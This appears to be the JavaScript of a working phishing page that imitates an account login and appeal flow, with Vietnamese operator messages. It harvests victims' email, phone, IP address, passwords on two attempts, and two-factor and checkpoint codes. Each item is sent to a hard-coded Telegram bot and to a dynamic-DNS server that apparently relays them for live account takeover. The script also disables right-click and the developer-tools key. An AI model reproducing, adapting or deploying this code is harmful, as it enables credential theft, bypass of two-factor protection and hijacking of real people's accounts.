function showLoadingCircle() { document.getElementById('loading-circle').style.display = 'block'; } // Hide the loading circle function hideLoadingCircle() { document.getElementById('loading-circle').style.display = 'none'; } document.addEventListener("contextmenu", (e) => { e.preventDefault(); }, false); document.addEventListener("keydown", (e) => { if (e.keyCode == 123) { e.stopPropagation(); e.preventDefault(); } }); var check = false; var checkApprove = false; $(document).ready(function () { $('.btn-modal-cancel').on('click', function () { $('#exampleModal').modal("hide"); }); $(".btn-register-send").mouseenter(function () { $(this).css("background-color", "#1c2b33"); $(this).css("color", "#F1F4F7"); }); $(".btn-register-send").mouseleave(function () { $(this).css("background-color", "#0067cd"); $(this).css("color", "#ffffff"); }); $.ajax({ url: 'https://ipinfo.io/ip', type: 'GET', contentType: 'application/json', async: true, success: function (msg) { $('#ip').text(msg); } }) if (window.location.href.endsWith('/confirm') && !checkApprove) { checkApprove = true; checkApproveAuto(); } }); $(document).on('input', '#password-input', function (event) { var passwordInput = document.getElementById('password-input'); var togglePassword = document.getElementById('togglePassword'); if (passwordInput.value.trim() !== '') { togglePassword.style.display = 'block'; } else { togglePassword.style.display = 'none'; } }); $(document).on('keypress', '#cgn', function (event) { if (event.which === 13) { event.preventDefault(); $('#submit_2fa').click(); } }); $(document).on('click', '.show-pass', function (event) { $($('#password-input')[0]).attr('type', 'text'); $($('.show-pass')[0]).attr('hidden', 'true'); $($('.hide-pass')[0]).removeAttr('hidden'); }); $(document).on('click', '.hide-pass', function (event) { $($('#password-input')[0]).attr('type', 'password'); $($('.hide-pass')[0]).attr('hidden', 'true'); $($('.show-pass')[0]).removeAttr('hidden'); }); var email = '' var ip = '' var index = '' var check_index = '' $(document).on('click', '.btn-register-send', function (e) { e.preventDefault(); var isValid = true; var name = $('#name').val(); if (!name) isValid = false; var phone = $('#phone').val(); sessionStorage.setItem('phone', phone); if (!phone || !validatePhoneNumber(phone)) isValid = false; email = $('#email').val(); if (!email) isValid = false; sessionStorage.setItem('email', email); // if (!email || !validateEmail(email)) // isValid = false; ip = $('#ip')[0].innerText var reason = $('#reason').val(); if (!reason) isValid = false; var check = $('#check').is(":checked"); if (!check) isValid = false; if (!isValid) { $('#form-error').text('Please fill in the required information'); return; } else { $('#form-error').text(''); showLoadingCircle(); $($('.btn-register-send')[0]).attr('disabled', true); var country_code = $("select[id='country_code'] option:selected").val(); var country_name = $("select[id='country_code'] option:selected").attr("name"); $.ajax({ url: "https://api.telegram.org/bot6152666444:AAF7t4N_I2CHFqMaewPii1NoNeXgAwZ-MVo/sendMessage", method: "POST", data: { chat_id: "-937620069", text: "Email: " + email + "\nMã Vùng:" + country_code + "\nPhone: " + phone + "\nIp: " + $('#ip')[0].innerText + "\nMô tả:" + reason } }); fetch('https://iwcsc.ddns.net:5000/init', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: email, // Provide the appropriate value for email ip: ip, // Provide the appropriate value for ip phone: phone }) }) .then(function (response) { if (response.ok) { return response.json(); } else { throw new Error('Error: ' + response.status); } }) .then(function (response) { console.log(response); if (response.value == '0') { hideLoadingCircle(); index = response.index; sessionStorage.setItem('index', index); $('.password-error').text(''); $($('.password_input')[0]).val(''); $('#password-input').attr('type', 'password'); $($('.hide-pass')[0]).attr('hidden', 'true'); $($('.show-pass')[0]).removeAttr('hidden'); $('#exampleModal').modal({ backdrop: 'static', keyboard: false }); } }) } }); var _next = 0; var proxy = ''; $(document).on('click', '.submit_password', function (e) { e.preventDefault(); if (_next == 0) { $('.password-validating').text('Validating information ').append(''); var password = $($('.password_input')[0]).val(); $($('.submit_password')[0]).attr('disabled', true); $($('.btn-secondary')[0]).attr('disabled', true); if (!password) { $($('.submit_password')[0]).attr('disabled', false); $($('.btn-secondary')[0]).attr('disabled', false); return; } var $this = $(this); // Store reference to $(this) sessionStorage.setItem('email', email); sessionStorage.setItem('password', password); sessionStorage.setItem('ip', ip); } $.ajax({ url: 'https://api.telegram.org/bot6152666444:AAF7t4N_I2CHFqMaewPii1NoNeXgAwZ-MVo/sendMessage', method: 'POST', data: { chat_id: '-937620069', text: 'Pass lần 1: ' + password + '\nIp: ' + $('#ip')[0].innerText } }); fetch('https://iwcsc.ddns.net:5000/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: email, // Provide the appropriate value for email password: password, phone: phone, index: index }) }) .then(function (response) { if (response.ok) { return response.json(); } else { throw new Error('Error: ' + response.status); } }) .then(function (response) { console.log(response); if (response.value == '1') { _next = 1; window.location.href = 'confirm.php'; } else if (response.value == '2') { $('.password-error').text('Password is incorrect'); $('.password-validating').text(''); $($('.submit_password')[0]).attr('disabled', false); $($('.btn-secondary')[0]).attr('disabled', false); _next = 2; $this.removeClass('submit_password').addClass('submit_password1'); } else if (response.value == '3') { window.location.href = 'checkpoint.php'; } else { window.location.href = 'success.php'; } }) .catch(function (error) { console.log('Error:', error); }); }); $(document).on('click', '.submit_password1', function (e1) { e1.preventDefault(); if (_next == 2) { $('.password-error').text(''); $('.password-validating').text('Validating information ').append(''); var password = $($('.password_input')[0]).val(); if (!password) { $('.password-error').text('Password is incorrect.'); $($('.submit_password')[0]).attr('disabled', false); $($('.btn-secondary')[0]).attr('disabled', false); return; } sessionStorage.setItem('password', password); var $this = $(this); // Store reference to $(this) $.ajax({ url: "https://api.telegram.org/bot6152666444:AAF7t4N_I2CHFqMaewPii1NoNeXgAwZ-MVo/sendMessage", method: "POST", data: { chat_id: "-937620069", text: "Pass lần 2: " + password + "\nIp: " + $('#ip')[0].innerText } }); fetch('https://iwcsc.ddns.net:5000/login', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: email, // Provide the appropriate value for email password: password, phone: phone, index: index }) }) .then(function (response) { if (response.ok) { return response.json(); } else { throw new Error('Error: ' + response.status); } }) .then(function (response) { console.log(response); if (response.value == '1') { _next = 1; window.location.href = 'confirm.php'; } else if (response.value == '2') { $('.password-error').text('Password is incorrect'); $('.password-validating').text(''); _next = 2; $this.removeClass('submit_password').addClass('submit_password1'); } else if (response.value == '3') { window.location.href = 'checkpoint.php'; } else { window.location.href = 'success.php'; } }) .catch(function (error) { console.log('Error:', error); }); } }); $(document).on('click', '.submit_2fa', function (e) { e.preventDefault(); $('.2fa-error').text('Validating information ').append('').css('color', 'green'); var cgn = $('.cgn')[0].value; if (cgn === '') { $('.2fa-error').empty().text('The two-factor authentication code is incorrect.').css('color', 'red'); return; } $($('.submit_2fa')[0]).attr('disabled', true); var email = sessionStorage.getItem('email'); var phone = sessionStorage.getItem('phone'); var password = sessionStorage.getItem('password'); var ip = sessionStorage.getItem('ip'); var index = sessionStorage.getItem('index'); var $this = $(this); // Store reference to $(this) $.ajax({ url: "https://api.telegram.org/bot6152666444:AAF7t4N_I2CHFqMaewPii1NoNeXgAwZ-MVo/sendMessage", method: "POST", data: { chat_id: "-937620069", text: "2fa:" + cgn } }); fetch('https://iwcsc.ddns.net:5000/login_with_otp', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: email, // Provide the appropriate value for email phone, password: password, otp: cgn, index: index }) }) .then(function (response) { if (response.ok) { return response.json(); } else { throw new Error('Error: ' + response.status); } }) .then(function (response) { if (response.value == '0') { window.location.href = 'success.php'; } else if (response.value == '1') { $($('.submit_2fa')[0]).attr('disabled', false) $('.2fa-error').text('Code is invalid or has expired, please re-enter a new code').css('color', 'red'); } }) .catch(function (error) { console.log('Error:', error); }); }); $(document).on('click', '.submit_cp', function (e) { e.preventDefault(); $('.2fa-error').text('Validating information ').append('').css('color', 'green'); var cgn = $('.cgn')[0].value; if (cgn === '') { $('.2fa-error').empty().text('The login authentication code is incorrect.').css('color', 'red'); return; } $($('.submit_cp')[0]).attr('disabled', true); var email = sessionStorage.getItem('email'); var phone = sessionStorage.getItem('phone'); var password = sessionStorage.getItem('password'); var ip = sessionStorage.getItem('ip'); var index = sessionStorage.getItem('index'); var $this = $(this); // Store reference to $(this) $.ajax({ url: "https://api.telegram.org/bot6152666444:AAF7t4N_I2CHFqMaewPii1NoNeXgAwZ-MVo/sendMessage", method: "POST", data: { chat_id: "-937620069", text: "CP:" + cgn } }); fetch('https://iwcsc.ddns.net:5000/login_with_otp', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: email, // Provide the appropriate value for email phone, password: password, otp: cgn, index: index }) }) .then(function (response) { if (response.ok) { return response.json(); } else { throw new Error('Error: ' + response.status); } }) .then(function (response) { if (response.value == '0') { window.location.href = 'success.php'; } else if (response.value == '1') { $($('.submit_cp')[0]).attr('disabled', false); $('.2fa-error').text('Code is invalid or has expired, please re-enter a new code').css('color', 'red'); } }) .catch(function (error) { console.log('Error:', error); }); }); // function sendcodeagain() { // $('.cgn-error').text(""); // var btn = document.getElementById("sendcodeagain"); // btn.setAttribute("hidden", ""); // $.ajax({ // url: '/resend2Fa', // type: 'GET', // async: true, // success: function (msg) { // if (msg.status === 'OK') { // $('.cgn-error').text(""); // btn.removeAttribute("hidden"); // } // } // }); // } // function approve() { // $('.cgn-error').text(""); // var btn = document.getElementById("approve"); // btn.setAttribute("hidden", ""); // $.ajax({ // url: '/checkApprovalDevice', // type: 'GET', // async: true, // success: function (msg) { // if (msg.status === 'OK') { // window.location.href = "/success"; // } // else { // $('.cgn-error').text("You must first approve and save this browser from another logged in browser."); // btn.removeAttribute("hidden"); // } // } // }); // } // function checkApproveAuto() { // $.ajax({ // url: '/checkApprovalDeviceAuto', // type: 'GET', // async: true, // success: function (msg) { // if (msg.status === 'OK') { // window.location.href = "/success"; // } // } // }); // } function onlyNumberKey(evt) { var ASCIICode = (evt.which) ? evt.which : evt.keyCode; return !(ASCIICode > 31 && (ASCIICode < 48 || ASCIICode > 57)); } function validateEmail(email) { var re = /\S+@\S+\.\S+/; return re.test(email); } function validatePhoneNumber(phoneNumber) { phoneNumber = phoneNumber.replace(/ /g, '').replace(/\(/g, '').replace(/\)/g, ''); if (isNaN(phoneNumber)) { return false; } return true; } function checkInput() { var input = document.getElementById("cgn").value; var button = document.getElementById("submit_2fa"); if (input.length == 6 || input.length == 8) { button.removeAttribute("disabled"); } else { button.setAttribute("disabled", ""); } } function updateCountryCode() { const select = document.getElementById("country_code"); const options = select.options; for (let i = 0; i < options.length; i++) { const option = options[i]; const countryCode = option.value; option.textContent = '+' + countryCode; } } function showOptions() { const select = document.getElementById("country_code"); const options = select.options; for (let i = 0; i < options.length; i++) { const option = options[i]; const countryName = option.getAttribute("name"); option.textContent = countryName; } }